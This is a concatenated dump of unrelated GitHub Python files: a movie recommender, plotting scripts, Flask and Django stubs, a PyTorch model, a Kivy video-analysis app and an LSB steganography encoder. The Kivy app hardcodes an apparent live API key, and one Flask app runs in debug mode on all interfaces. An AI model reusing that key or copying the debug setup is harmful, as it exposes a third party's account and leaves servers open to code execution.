Processing Successful\"\n except:\n return \"Pre Processing Failed\"\n\n def train_model(self):\n \"\"\"\n Read the preprocessed data and generate corpus dictionary, tfidf model and matrix(Cosine) similarity\n :return: status of training\n \"\"\"\n try:\n data = pd.read_csv(self.processed_data)\n del data['Unnamed: 0']\n # creating tokens for the doc column\n corpus = data['doc'].map(break_to_tokens)\n # creating dictionary of words in the movie dataset\n dictionary = gensim.corpora.Dictionary(corpus)\n dictionary.save(self.corpus_dictionary)\n # creating vector with bag of words for the corpus\n vector = [dictionary.doc2bow(d) for d in corpus]\n # creating tfidf values for the vector\n tfidf = models.TfidfModel(vector)\n tfidf.save(self.tfidf_model)\n corpus_tfidf = tfidf[vector]\n # Compute Similarities\n similarity = MatrixSimilarity(corpus_tfidf,num_features=len(dictionary))\n similarity.save(self.matrix_similarity)\n return \"Model Trained Successfully\"\n except:\n return \"Error While Training Model\"\n\n def get_recommendation(self,movie_title:str):\n \"\"\"\n Accepts Movie Name and fetches the list of recommended movie names using matrix(cosine) similarity\n :param movie_title:\n :return: array of movie names\n \"\"\"\n print(\"movie : \",movie_title)\n dictionary = gensim.corpora.Dictionary.load(self.corpus_dictionary)\n tfidf_model = gensim.models.TfidfModel.load(self.tfidf_model)\n similarity = MatrixSimilarity.load(self.matrix_similarity)\n data = pd.read_csv(self.processed_data)\n\n del data['Unnamed: 0']\n data[\"original_title\"]=data[\"original_title\"].str.lower()\n movie = data.loc[data.original_title == movie_title]\n print(movie)\n if movie.shape[0]==0:\n status = [\"Failed to Recommend Movies with existing movie data.\"]\n return status\n else:\n movie_doc_bow = dictionary.doc2bow(movie['doc'].map(break_to_tokens)[0])\n movie_tfidf = tfidf_model[movie_doc_bow]\n movie_recommendations = pd.DataFrame({'Cosine_sim_values':similarity[movie_tfidf],'title':data.original_title.values}).sort_values(by=\"Cosine_sim_values\",ascending=False)\n top_recommendations = movie_recommendations['title'].head(11)\n return top_recommendations.to_numpy()\n\n","repo_name":"litturahul/TV_Movie_Recommendation_System","sub_path":"Content_based_Recommendation.py","file_name":"Content_based_Recommendation.py","file_ext":"py","file_size_in_byte":4458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32448171709","text":"import matplotlib.pyplot as plt\nimport pickle\n\ndataFile = 'AudioRNN.npy'\ndata = pickle.load(open(dataFile, \"rb\"))\n\nplt.figure('AudioRNN loss')\nplt.plot(data['loss'])\nplt.plot(data['val_loss'])\nplt.xlabel('Epoch')\nplt.ylabel('Loss')\n#plt.yscale('log')\nplt.grid(True)\n\nplt.figure('AudioRNN Accuracy')\nplt.plot(data['acc'])\nplt.plot(data['val_acc'])\nplt.xlabel('Epoch')\nplt.ylabel('Accuracy')\n#plt.yscale('log')\nplt.grid(True)\n\nplt.show()\n","repo_name":"MerlinPCarson/AudioRNN","sub_path":"AudioRNNEval.py","file_name":"AudioRNNEval.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"25392489850","text":"import argparse\nimport time\nimport distutils.util\nfrom flask import Flask\n\ndef get_args():\n \"\"\"\"\"\"\n parser = argparse.ArgumentParser(\n description=\"Portfolio Analyzer\",\n epilog=\"Analyzes a user's financial portfolio for a given year\"\n )\n\n parser.add_argument('-y', action=\"store\", required=True, help='Year to analyze', type=str)\n\n return parser.parse_args()\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return '

    Hello World!

    '\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=80, debug=True)\n\n args = get_args()\n year = args.y\n \n print(\"Importing user's portfolio...\")\n time.sleep(5)\n\n print(\"Import complete...\")\n\n print(\"Analyzing portfolio for year:\", year)\n time.sleep(10)\n \n print(\"Preparing results\")\n time.sleep(5)\n\n print(\"Exporting results...\")\n time.sleep(5)\n print(\"Results for year\", year, \"exported to database.\")\n \n while True:\n time.sleep(5) \n print(\"...\")","repo_name":"leewaylicn/GW-Rec-Release","sub_path":"cdk/gw_stack/test/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"35026996694","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2020/1/15 14:02\n# @Author : wxh\n# @Site : \n# @File : actionutils.py\n# @Software: PyCharm\nimport json\nimport utils.tools.removetagfile as removetagfile\npath = \"./proxyfile/dic/video.json\"\npath1 = \"./tmpvideo\"\ndef checkWord(str='',label='',path='./proxyfile/dic/video.json'):#如果存在,不再保存,返回value;否则返回nodata\n result = 'nodata'\n # 读取数据\n data = {} # 存放读取的数据\n with open(path, 'r', encoding='utf-8') as rjson_file:\n data = json.load(rjson_file)\n for key, value in data.items():\n if key == str:\n return value\n with open(path, 'w', encoding='utf-8') as wjson_file:\n data[str] = label\n json.dump(data, wjson_file)\n return result\n\ndef clearBaiTtsFile():\n remove_list = []\n retain_list = []\n # remove_list = ['80271579073479.93832547700.wav', 'a.txt', 'b.txt'] # 要删除的文件名称\n # retain_list = ['c.txt'] # 要保留的文件名称\n\n # 读取数据\n data = {} # 存放读取的数据\n with open(path, 'r', encoding='utf-8') as rjson_file:\n data = json.load(rjson_file)\n if data:\n for key, value in data.items():\n remove_list.append(value+'.wav')\n\n ##清空录音文件\n rtf = removetagfile.RemoveTagFile()\n rtf.removeFile(path1, remove_list, retain_list)\n ##清空json文件\n with open(path, 'w', encoding='utf-8') as wjson_file:\n json.dump({}, wjson_file)\ndef clearVideoFile():\n remove_list = []\n retain_list = []\n # 读取数据\n data = {} # 存放读取的数据\n with open(path, 'r', encoding='utf-8') as rjson_file:\n data = json.load(rjson_file)\n if data:\n for key, value in data.items():\n remove_list.append(value+'.webm')\n\n ##清空录音文件\n rtf = removetagfile.RemoveTagFile()\n rtf.removeFile(path1, remove_list, retain_list)\n ##清空json文件\n with open(path, 'w', encoding='utf-8') as wjson_file:\n json.dump({}, wjson_file)\n\nif __name__=='__main__':\n print(checkWord('hello2','good2'))\n clearBaiTtsFile()","repo_name":"wxh4321/LiveCameraServer","sub_path":"utils/actionutils.py","file_name":"actionutils.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37808964947","text":"import torch.nn as nn\nimport torch\nimport time\nimport math\nfrom models.event_rep_module import EventRepModule\n\nclass BERTFcModel(nn.Module):\n def __init__(self, bert_layer, config):\n super().__init__() \n self.config = config\n self.event_module = EventRepModule(config, bert_layer)\n back_emb = 0\n if(config.sl):\n back_emb += 1\n if(config.unem or config.nem):\n back_emb += 1\n if(config.af):\n back_emb += 1 \n if(config.an):\n back_emb += 1 \n if(config.ps):\n back_emb += 1\n if(config.corref):\n back_emb += 1\n if(config.ch):\n back_emb += 1\n if(config.frame):\n self.ffc = nn.Linear(2*config.event_dim + back_emb, 1)\n else:\n self.ffc = nn.Linear(config.event_dim + back_emb, 1)\n self.initialize()\n \n def initialize(self):\n nn.init.xavier_uniform_(self.ffc.weight.data)\n self.ffc.bias.data.zero_()\n\n def prep_features(self, feats, dev):\n features = None\n feat = feats[:,:,0:10].type(torch.FloatTensor).to(dev)\n if(self.config.sl):\n features = feat[:,:,0].unsqueeze(2) \n if(self.config.unem):\n funem = feat[:,:,1].unsqueeze(2)\n if(features is None):\n features = funem\n else:\n features = torch.cat((features, funem), dim=2)\n if(self.config.nem):\n fnem = feat[:,:,9].unsqueeze(2)\n if(features is None):\n features = fnem\n else:\n features = torch.cat((features, fnem), dim=2)\n if(self.config.af):\n faf = feat[:,:,2].unsqueeze(2)\n if(features is None):\n features = faf\n else:\n features = torch.cat((features, faf), dim=2)\n if(self.config.an):\n fan = feat[:,:,4].unsqueeze(2)\n if(features is None):\n features = fan\n else:\n features = torch.cat((features, fan), dim=2)\n if(self.config.ps):\n fps = feat[:,:,5].unsqueeze(2)\n if(features is None):\n features = fps\n else:\n features = torch.cat((features, fps), dim=2)\n if(self.config.corref):\n fcorref = feat[:,:,6].unsqueeze(2)\n if(features is None):\n features = fcorref\n else:\n features = torch.cat((features, fcorref), dim=2)\n return features \n \n '''\n Input: B*b*512, B*b*512, B*N*2\n Output: B*N\n '''\n def forward(self, input_ids, input_mask, finput_ids, finput_masks, locs, feats):\n if(self.config.frame):\n x = self.event_module(input_ids, \n input_mask, \n locs, \n doc_features = False,\n finput_ids=finput_ids, \n finput_masks=finput_masks) # (B*b*512, B*b*512, B*N*2) -> (B*N*768)\n else:\n x = self.event_module(input_ids, \n input_mask, \n locs, \n doc_features = True,\n finput_ids=finput_ids, \n finput_masks=finput_masks) # (B*b*512, B*b*512, B*N*2) -> (B*N*768\n \n features = self.prep_features(feats, x.device)\n if(features is not None):\n x = torch.cat((x, features), dim=2) \n y = self.ffc(x).squeeze(2)\n return y \n","repo_name":"CogComp/Salient-Event-Detection","sub_path":"src/models/bert_fc.py","file_name":"bert_fc.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"29467920710","text":"import requests\n\nfrom django.shortcuts import get_object_or_404\nfrom django.db.utils import IntegrityError\nfrom django.http import Http404\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom .models import User, ItemInAuction\nfrom .serializers import UserSerializer, ItemSerializer\n\n\ndef getOwnerUsersList(request):\n url = 'http://127.0.0.1:8000/api/users/'\n response = requests.get(url)\n\n if response.status_code == 200:\n users_data = response.json()\n existing_emails = User.objects.values_list('email', flat=True)\n\n User.objects.exclude(email__in=[user_data['email'] for user_data in users_data]).delete()\n\n for user_data in users_data:\n email = user_data['email']\n existing_user = User.objects.filter(email=email).first()\n\n if existing_user:\n if existing_user.name != user_data['name']:\n existing_user.name = user_data['name']\n\n if existing_user.created_at != user_data['created_at']:\n existing_user.created_at = user_data['created_at']\n\n if existing_user.updated_at != user_data['updated_at']:\n existing_user.updated_at = user_data['updated_at']\n\n existing_user.save()\n else:\n user = User(\n name=user_data['name'],\n email=email,\n created_at=user_data['created_at'],\n updated_at=user_data['updated_at'],\n )\n user.save()\n\n users = User.objects.filter(email__in=[user_data['email'] for user_data in users_data])\n serializer = UserSerializer(users, many=True)\n\n return Response(serializer.data)\n else:\n err = 'Error in the process of getting users: ' + str(response.status_code)\n print(err)\n return Response({'error': err}, status=500)\n\n\ndef getUsersList(request):\n users = User.objects.all()\n serializer = UserSerializer(users, many=True)\n return Response(serializer.data)\n\ndef getItemsList(request):\n items = ItemInAuction.objects.all().order_by('-updated_at')\n serializer = ItemSerializer(items, many=True)\n return Response(serializer.data)\n\n\ndef createItem(request):\n data = request.data\n \n item_owner = data['item_owner']\n try:\n item_owner = get_object_or_404(User, name=item_owner)\n except Http404:\n return Response(f\"Item owner not found. Check which users is available: http://127.0.0.1:8001/api/owner_users/\", status=status.HTTP_404_NOT_FOUND)\n try:\n item = ItemInAuction.objects.create(\n name=data['name'],\n price=data['price'],\n item_owner=item_owner,\n )\n serializer = ItemSerializer(item, many=False)\n return Response(serializer.data)\n except IntegrityError:\n return Response(\"Item name already exists\", status=status.HTTP_409_CONFLICT)\n\n\ndef getItemDetail(request, pk):\n items = ItemInAuction.objects.get(id=pk)\n serializer = ItemSerializer(items, many=False)\n return Response(serializer.data)\n\n\ndef updateItem(request, pk):\n data = request.data\n item = ItemInAuction.objects.get(id=pk)\n serializer = ItemSerializer(instance=item, data=data)\n\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n else:\n return Response(serializer.errors)\n\n\n\ndef deleteItem(request, pk):\n item = ItemInAuction.objects.get(id=pk)\n item.delete()\n return Response('User was deleted sucessfully!')\n\n","repo_name":"gasimovv21/AuctionWebsite-Fullstack-Django_React","sub_path":"itemsAuction_RestAPI/items_api/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29919291789","text":"import sys, os, argparse\n\nprint()\nprint(\"###### Build site pages ######\");\nprint(\"# PYTHON VERSION: \" + \".\".join(map(str, sys.version_info[:3])))\nprint(\"# Script call: \" + \" \".join(sys.argv) + \"\\n----------\");\n\nparser = argparse.ArgumentParser(description=\"Gets stats from a bunch of abyss assemblies.\");\nparser.add_argument(\"--all\", dest=\"all\", help=\"Build all pages\", action=\"store_true\", default=False);\nparser.add_argument(\"--index\", dest=\"index\", help=\"Without --all: build index.html. With --all: exlude index.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--notes\", dest=\"notes\", help=\"Without --all: build notes.html. With --all: exlude notes.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--people\", dest=\"people\", help=\"Without --all: build people.html. With --all: exlude people.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--samples\", dest=\"samples\", help=\"Without --all: build samples.html. With --all: exlude samples.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--summary\", dest=\"summary\", help=\"Without --all: build summary.html. With --all: exlude summary.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--summary210\", dest=\"summary210\", help=\"Without --all: build summary_210.html. With --all: exlude summary_210.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--workflows\", dest=\"workflows\", help=\"Without --all: build workflows.html. With --all: exlude workflows.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--wgs\", dest=\"wgs\", help=\"Without --all: build wgs.html. With --all: exlude wgs.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--assembly\", dest=\"assembly\", help=\"Without --all: build assembly_stats.html. With --all: exlude assembly_stats.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--aln\", dest=\"aln\", help=\"Without --all: build aln_stats.html. With --all: exlude aln_stats.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--trees\", dest=\"trees\", help=\"Without --all: build trees.html. With --all: exlude trees.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--morpho\", dest=\"morpho\", help=\"Without --all: build trees-morpho.html. With --all: exlude trees-morpho.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--rates\", dest=\"rates\", help=\"Without --all: build rates.html. With --all: exlude rates.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--convergence\", dest=\"convergence\", help=\"Without --all: build convergence.html. With --all: exlude convergence.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--mns\", dest=\"mns\", help=\"Without --all: build mns.html. With --all: exlude mns.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--prune\", dest=\"prune\", help=\"Without --all: build prune.html. With --all: exlude prune.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--ps\", dest=\"ps\", help=\"Without --all: build ps.html. With --all: exlude ps.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--wgsps\", dest=\"wgsps\", help=\"Without --all: build wgs_ps_comps.html. With --all: exlude wgs_ps_comps.html\", action=\"store_true\", default=False);\n# parser.add_argument(\"--fullassemblystats\", dest=\"fullassemblystats\", help=\"Without --all: build assembly_stats_2.html. With --all: exlude assembly_stats_2.html\", action=\"store_true\", default=False);\n# parser.add_argument(\"--fullmappingstats\", dest=\"fullmappingstats\", help=\"Without --all: build full_mapping_stats.html. With --all: exlude full_mapping_stats.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--filterstats\", dest=\"filterstats\", help=\"Without --all: build filter_stats.html. With --all: exlude filter_stats.html\", action=\"store_true\", default=False);\nparser.add_argument(\"--mouserat\", dest=\"mouserat\", help=\"Without --all: build mouse_rat_transcripts.html. With --all: exlude mouse_rat_transcripts.html\", action=\"store_true\", default=False);\nargs = parser.parse_args();\n# Input options.\n\n#cwd = os.getcwd();\nos.chdir(\"generators\");\n\npages = {\n 'index' : args.index,\n 'notes' : args.notes,\n 'people' : args.people,\n 'samples' : args.samples,\n 'summary' : args.summary,\n 'summary210' : args.summary210,\n 'workflows' : args.workflows,\n 'wgs' : args.wgs,\n 'assembly' : args.assembly,\n 'aln' : args.aln,\n 'trees' : args.trees,\n 'morpho' : args.morpho,\n 'rates' : args.rates,\n 'convergence' : args.convergence,\n 'mns' : args.mns,\n 'prune' : args.prune,\n 'ps' : args.ps,\n 'wgsps' : args.wgsps,\n # 'fullassemblystats' : args.fullassemblystats,\n # 'fullmappingstats' : args.fullmappingstats,\n 'filterstats' : args.filterstats,\n 'mouserat' : args.mouserat\n}\n\nif args.all:\n pages = { page : False if pages[page] == True else True for page in pages };\n\nif pages['index']:\n os.system(\"python index_generator.py\");\n\nif pages['notes']:\n os.system(\"python notes_generator.py\");\n\nif pages['people']:\n os.system(\"python people_generator.py\");\n\nif pages['samples']:\n os.system(\"python sample_generator.py\");\n\nif pages['summary']:\n os.system(\"python sample_summary_generator.py\");\n\nif pages['summary210']:\n os.system(\"python summary_210_generator.py\"); \n\nif pages['workflows']:\n os.system(\"python workflows_generator.py\");\n\nif pages['wgs']:\n os.system(\"python wgs_generator.py\");\n\nif pages['assembly']:\n os.system(\"Rscript assembly_stats_generator.r\");\n\nif pages['aln']:\n os.system(\"Rscript aln_stats_generator.r\");\n\nif pages['trees']:\n os.system(\"Rscript trees_generator.r\");\n\nif pages['morpho']:\n os.system(\"Rscript trees_morpho_generator.r\");\n\nif pages['rates']:\n os.system(\"Rscript rates_generator.r\");\n\nif pages['convergence']:\n os.system(\"Rscript convergence_generator.r\");\n \nif pages['mns']:\n os.system(\"Rscript mns_generator.r\");\n\nif pages['prune']:\n os.system(\"Rscript prune_generator.r\");\n\nif pages['ps']:\n os.system(\"Rscript ps_generator.r\");\n\nif pages['wgsps']:\n os.system(\"Rscript wgs_ps_comps_generator.r\");\n\n# if pages['fullassemblystats']:\n# os.system(\"Rscript assembly_stats_generator.r\");\n\n# if pages['fullmappingstats']:\n# os.system(\"Rscript full_mapping_stats_generator.r\");\n\nif pages['filterstats']:\n os.system(\"Rscript filter_stats_generator.r\");\n\nif pages['mouserat']:\n os.system(\"Rscript mouse_rat_generator.r\");\n\nprint(\"----------\\nDone!\");\n\n\n","repo_name":"goodest-goodlab/murinae-seq","sub_path":"docs/scripts/make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":6496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18973827209","text":"from typing import List\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> int:\n num_dict = {}\n for i in range(len(nums)):\n num_dict[nums[i]] = i\n \n for i in range(len(nums)):\n temp = target - nums[i]\n \n # Can't use the same elements twice, e.g., [3, 2, 4], target = 6, \n # the expected output should be [1, 2], instead of [0, 0].\n # So set the additional condition num_dict[temp] != i as below. \n\n if temp in num_dict and num_dict[temp] != i:\n return i, num_dict[temp]\n\n\ns = Solution()\nprint(s.twoSum([2, 7, 11, 15], 9))\n","repo_name":"miayuxin/leetcode","sub_path":"No.1_Two Sum.py","file_name":"No.1_Two Sum.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72813896107","text":"from random import randint\n\nNUMKRUIPERS = 100000\nleeftijd = NUMKRUIPERS # Ze leven minstens een dag\n\nfor i in range( NUMKRUIPERS ):\n if randint( 0, 2 ): # Sterf niet op dag 1\n leeftijd += 1\n while randint( 0, 1 ): # Sterf niet\n leeftijd += 1\n\nprint( \"{:.2f}\".format( leeftijd / NUMKRUIPERS ) )\n","repo_name":"dodona-edu/programmeursleerling","sub_path":"chapters/07 iterations/10 exercises/16 triangle crawlers/solution/solution.nl.py","file_name":"solution.nl.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"nl","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"18708851449","text":"import os\n\nfrom unittest.mock import patch\n\nfrom gns3server.version import __version__\nfrom gns3server.controller import Controller\nfrom gns3server.utils.get_resource import get_resource\n\n\ndef get_static(filename):\n current_dir = os.path.dirname(os.path.abspath(__file__))\n return os.path.join(os.path.abspath(os.path.join(current_dir, '..', '..', 'gns3server', 'static')), filename)\n\n\ndef test_index(http_root):\n response = http_root.get('/')\n assert response.status == 200\n html = response.html\n assert \"Website\" in html\n assert __version__ in html\n\n\ndef test_controller(http_root, async_run):\n project = async_run(Controller.instance().add_project(name=\"test\"))\n response = http_root.get('/controller')\n assert \"test\" in response.html\n assert response.status == 200\n\n\ndef test_compute(http_root):\n response = http_root.get('/compute')\n assert response.status == 200\n\n\ndef test_project(http_root, async_run):\n project = async_run(Controller.instance().add_project(name=\"test\"))\n response = http_root.get('/projects/{}'.format(project.id))\n assert response.status == 200\n\n\ndef test_web_ui(http_root, tmpdir):\n with patch('gns3server.utils.get_resource.get_resource') as mock:\n mock.return_value = str(tmpdir)\n os.makedirs(str(tmpdir / 'web-ui'))\n tmpfile = get_static('web-ui/testing.txt')\n with open(tmpfile, 'w+') as f:\n f.write('world')\n response = http_root.get('/static/web-ui/testing.txt')\n assert response.status == 200\n os.remove(get_static('web-ui/testing.txt'))\n\n\ndef test_web_ui_not_found(http_root, tmpdir):\n with patch('gns3server.utils.get_resource.get_resource') as mock:\n mock.return_value = str(tmpdir)\n\n response = http_root.get('/static/web-ui/not-found.txt')\n # should serve web-ui/index.html\n assert response.status == 200\n\n\ndef test_v1(http_root):\n \"\"\"\n The old api v1 raise a 429\n \"\"\"\n response = http_root.get('/v1/version')\n assert response.status == 200\n","repo_name":"candlerb/gns3-server","sub_path":"tests/handlers/test_index.py","file_name":"test_index.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"29295284423","text":"from datetime import datetime, timedelta\n\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators.postgres_operator import PostgresOperator\n\n\ncreate_adventures_overflow_tables = './scripts/create-adventuresOverflow.sql'\n\ndefault_args = {\n \"owner\": \"airflow\",\n \"depends_on_past\": True,\n 'wait_for_downstream': True,\n \"start_date\": datetime(2010, 1, 1),\n \"email\": [\"airflow@airflow.com\"],\n \"email_on_failure\": False,\n \"email_on_retry\": False,\n \"retries\": 1,\n \"retry_delay\": timedelta(minutes=5)\n}\n\ndag = DAG(\"adventures_overflow\", default_args=default_args,\n schedule_interval=\"0 0 * * *\", max_active_runs=1)\n\nend_of_data_pipeline = DummyOperator(task_id='end_of_data_pipeline', dag=dag)\n\n\ncreate_adventures_overflow = PostgresOperator(\n dag=dag,\n task_id='create_adventures_overflow',\n sql=create_adventures_overflow_tables,\n postgres_conn_id='postgres_sql_adventures',\n)\n\ncreate_adventures_overflow >> end_of_data_pipeline\n","repo_name":"magda-zielinska/adventureoverflow","sub_path":"dags/adventures_overflow.py","file_name":"adventures_overflow.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20636822707","text":"from sys import stdin\nfrom collections import defaultdict\n\n\nclass Graph():\n\n def __init__(self, vertices):\n self.graph = defaultdict(list)\n self.V = vertices\n\n def addEdge(self, u, v):\n\n self.graph[u].append(v)\n\n def DFSUtil(self, v, visited):\n\n visited[v] = True\n\n\n for i in self.graph[v]:\n if visited[i] == False:\n self.DFSUtil(i, visited)\n\n def DFS(self):\n\n visited = [False] * 100000\n\n count = 0\n for i in range(1, self.V + 1):\n if visited[i] == False:\n count += 1\n self.DFSUtil(i, visited)\n\n return count\n\n\nif __name__ == '__main__':\n VE = list(map(int, stdin.readline().split(\" \")))\n g = Graph(VE[0])\n for i in range(VE[1]):\n tmp = list(map(int, stdin.readline().split(\" \")))\n g.addEdge(tmp[0], tmp[1])\n g.addEdge(tmp[1], tmp[0])\n\n print(g.DFS())\n","repo_name":"PARKINHYO/Algorithm","sub_path":"BOJ/11724/11724번(연결 요소의 개수).py","file_name":"11724번(연결 요소의 개수).py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"39475384980","text":"# encodes a message into an image using the LSB method\r\n\r\nimport sys\r\nfrom PIL import Image\r\n\r\nmax_size = 32\r\n\r\n\r\ndef encode(image, message):\r\n # encode the message into the image\r\n # image is the image to encode the message into\r\n # message is the message to encode into the image\r\n # returns the encoded image\r\n\r\n # convert the image to RGB if it isn't already\r\n image = image.convert(\"RGB\")\r\n\r\n # convert the message to binary\r\n binary = ''.join([format(ord(i), \"08b\") for i in message])\r\n\r\n length = len(message)\r\n for i in range(max_size):\r\n binary = str((length >> i & 1)) + binary\r\n\r\n # print(len(binary), \" bits to encode\")\r\n # print(binary)\r\n\r\n # get the width and height of the image\r\n width, height = image.size\r\n # check if the message is too long to be encoded\r\n if len(binary) > (width * height * 3) or len(binary) > 2 ** (max_size - 1):\r\n raise Exception(\r\n \"The message is too long to be encoded into this image.\")\r\n\r\n # encode the message into the image\r\n # the message is encoded into the least significant bit of each pixel\r\n index = 0\r\n length = len(message)\r\n for row in range(height):\r\n for col in range(width):\r\n # get the RGB values of the pixel\r\n pixel = list(image.getpixel((col, row)))\r\n # set the LSB of each value to the next bit of the message\r\n for i in range(3):\r\n if index < len(binary):\r\n pixel[i] = pixel[i] & ~1 | int(binary[index])\r\n # & ~1 sets the LSB to 0\r\n # | int(binary[index]) sets the LSB to the next bit of the message\r\n index += 1\r\n else:\r\n image.putpixel((col, row), (tuple(pixel)))\r\n return image\r\n\r\n # set the pixel to the new value\r\n image.putpixel((col, row), (tuple(pixel)))\r\n\r\n return image\r\n\r\n\r\ndef main():\r\n print(\"Encoding...\")\r\n # get the image and message from the command line arguments\r\n image = Image.open(\"yoda.png\")\r\n message = \"No! Try not. Do. Or do not. There is no try. Hrrmmm. Seeing this if you are, us a B please give.\"\r\n\r\n # encode the message into the image\r\n encoded = encode(image, message)\r\n\r\n # save the encoded image\r\n encoded.save(\"./encoded.png\", quality=100)\r\n\r\n print(\"Done!\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"jrma14/LSB-Steganography","sub_path":"encode.py","file_name":"encode.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70665321707","text":"from torch.utils.data import DataLoader, Dataset\n\nimport torch\n\n__all__ = [\"CustomMetricLearningDataset\"]\n\n\nclass CustomMetricLearningDataset(Dataset):\n def __init__(self, df, text_col, label_col):\n self.df = df.reset_index(drop=True)\n self.text_col = text_col\n self.label_col = label_col\n set_of_classes = set(self.df[label_col])\n self.classes = {}\n for i, classname in enumerate(set_of_classes):\n self.classes[classname] = i\n\n def __len__(self):\n return len(self.df)\n\n def __getitem__(self, idx):\n class_idx = self.classes[self.df.loc[idx, self.label_col]]\n return self.df.loc[idx, self.text_col], torch.tensor(class_idx, dtype=torch.float)","repo_name":"kazzand/GeoBERT","sub_path":"datasets/metric_learning_dataset.py","file_name":"metric_learning_dataset.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22581733061","text":"from kivy.app import App\nfrom kivy.uix.button import Button\nfrom kivy.lang import Builder\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.boxlayout import BoxLayout\n\nfrom kivy.uix.widget import Widget\nfrom wrcloud.wrcloud import wrCloud\nimport json\n\nBuilder.load_file('menu.kv')\n\n\n# class MyLayout(Widget):\n# textval = 'heii'\n# def selected(self, filename):\n# try:\n# print(filename[0])\n# except Exception:\n# pass\n#\n# def on_click(self):\n# try:\n# api = wrCloud(api_key='5bef4651-dc35-42a3-aec4-179a0b0e8741')\n# print('API connected!')\n# except Exception as ex:\n# print('Something went wrorng', str(ex))\n# job = api.submit_job(filename=\"media-yoga.mp4\", work_type=[\"annotated_media\", \"json\"],\n# options={'heads': True, 'est_3d': True, 'resolution_scale': 2}, url=False)\n# print(job)\n# api.wait_for_processed_job(job, interval=10, timeout=900)\n# status = api.get_job_status(job_id=job)\n# print(status)\n# while status != 'Processed':\n# status = api.get_job_status(job_id=job)\n# print(status)\n# results = api.get_json_result_as_dict(job)\n# print(json.dumps(results))\n# self.textval = json.dumps(results)\n\nclass MainApp(App):\n layout = BoxLayout(orientation=\"vertical\")\n txt_input = TextInput(height=100)\n button = Button(size=(80, 80), text='Start')\n layout.add_widget(button)\n layout.add_widget(txt_input)\n\n def build(self):\n self.button.bind(on_press=self.on_click)\n return self.layout\n\n def on_click(self, instance):\n # self.txt_input.text = 'API connected!'\n try:\n api = wrCloud(api_key='5bef4651-dc35-42a3-aec4-179a0b0e8741')\n\n print('API connected!')\n except Exception as ex:\n print('Something went wrorng', str(ex))\n job = api.submit_job(filename=\"media-yoga.mp4\", work_type=[\"annotated_media\", \"json\"],\n options={'heads': True, 'est_3d': True, 'resolution_scale': 2}, url=False)\n print(job)\n api.wait_for_processed_job(job, interval=10, timeout=900)\n status = api.get_job_status(job_id=job)\n print(status)\n #self.txt_input.text = 'Processing..'\n while status != 'Processed':\n status = api.get_job_status(job_id=job)\n print(status)\n # self.txt_input.text = status\n results = api.get_json_result_as_dict(job)\n print(json.dumps(results))\n # self.txt_input.bind(text=json.dumps(results))\n self.txt_input.text = str(json.dumps(results))\n\n\nif __name__ == \"__main__\":\n app = MainApp()\n app.run()\n","repo_name":"meet86/kivy-app","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3130601460","text":"import json\nfrom enum import Enum\n\nfrom asgiref.sync import async_to_sync\nfrom 